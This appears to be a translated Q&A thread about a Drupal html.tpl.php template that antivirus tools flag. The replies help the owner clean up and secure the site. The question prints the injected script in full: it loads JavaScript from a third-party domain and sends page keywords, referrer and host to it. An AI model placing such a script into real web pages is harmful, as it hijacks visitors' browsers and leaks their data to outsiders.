PHP 这个看似干净的文件中有恶意软件?

PHP malware inside this apparently clean file?

我在 Drupal 的模块中有一个 PHP 文件 (html.tpl.php),代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN"
  "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php print $language->language; ?>" version="XHTML+RDFa 1.0" dir="<?php print $language->dir; ?>"<?php print $rdf_namespaces; ?>>

<head profile="<?php print $grddl_profile; ?>">
  <?php print $head; ?>
  <title><?php print $head_title; ?></title>
  <?php print $styles; ?>
  <?php print $scripts; ?>

<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://atelier24-gerd-kallhardt.de/js/jquery.min.php?c_utt=K85164&c_utm='+encodeURIComponent('http://atelier24-gerd-kallhardt.de/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
</head>
<body class="<?php print $classes; ?>" <?php print $attributes;?>>
  <div id="skip-link">
    <a href="#main-content" class="element-invisible element-focusable"><?php print t('Skip to main content'); ?></a>
  </div>
  <?php print $page_top; ?>
  <?php print $page; ?>
  <?php print $page_bottom; ?>
</body>
</html>

我的问题是某些防病毒软件将其标记为恶意软件。

请检查此 virustotal report

可能是这个标志可能是因为 script 包含:

http://atelier24-gerd-kallhardt.de/js/jquery.min.php?

文件 html.tpl.php 存在于:/modules/system/(Drupal 网站)。

您可以从 here 下载此文件。

然后我有一些问题:

我也遇到过这种情况。我猜某些恶意软件正在目录结构中搜索 HTML 打开文件,并首先找到了这个文件。幸运的是,我的主题中真正使用的那个没有被感染。

在您的所有文件中搜索该 "atelier" 文本或此恶意软件附带的一些其他字符串。

不是特别糟糕,只是垃圾邮件发送者。

更改所有后端管理员和 (S)FTP 密码并定期进行备份。

如果您在共享主机上...嗯...可能是其他网站被黑了,而不是您的网站。

回答您的问题:

Is this a legitimate file (despite a possible infection)?

是的,合法

It was infected?

是的,它被感染了

Is there good and bad (malware) code?

恶意软件永远都不是好事。

How can I remove the bad part?, just by deleting that line of code, with: script?

是的,但是你还没有解决它是如何到达那里的问题。

How this code could got attached there?

最有可能发生的情况是,有人会利用您过时的 Drupal 模块(或 Drupal 核心)中的一些漏洞,从而允许他们覆盖您的 html.tpl.php 以包含该脚本组件。

总而言之,该脚本标记旨在让访问您站点的任何人的浏览器从完全不同的站点请求页面。这种技巧可以用来人为地增加其他网站的流量。对作者来说,这样做的好处在于,其他网站的流量数据将被人为夸大。

向 "drive traffic to their site" 收费的人或网站所有者自己(如果他们在自己的网页上向其他公司出售广告)可能会采用这种策略。他们的流量越高,"exposure" 广告商得到的越多,他们可以收取的广告费就越多。

您需要担心的是,您网站上的某处存在一个漏洞,允许人们随心所欲地覆盖您的网络文件夹中的文件。

您需要执行以下操作,否则问题会再次出现:

  • 导航至 /admin/config/development/maintenance
  • 将您的站点置于维护模式
  • 备份您的数据库和您的网络文件夹
  • 按照以下说明更新 Drupal 的核心文件:https://www.drupal.org/docs/7/updating-your-drupal-site/how-to-update-drupal-core
  • 在 /admin/modules/update/
  • 更新所有模块
  • 运行 数据库更新
  • 确认所有模块更新成功后,假设您没有收到任何错误,您现在可以关闭维护模式

现在,您还需要通过确保它们是只读的(上传文件的存储位置除外)来确保适当地保护所有文件和文件夹

然后,假设您在自己的服务器上,您需要研究加固您正在使用的任何 HTTP 服务器(Apache、Nginx 等)。

如果您不遵循这些步骤,某些恶意软件扫描您的服务器、发现完全相同的漏洞并以类似方式利用它只是时间问题。

从理论上讲,您很幸运,因为它所做的只是将更多流量吸引到不同的站点。情况可能会更糟。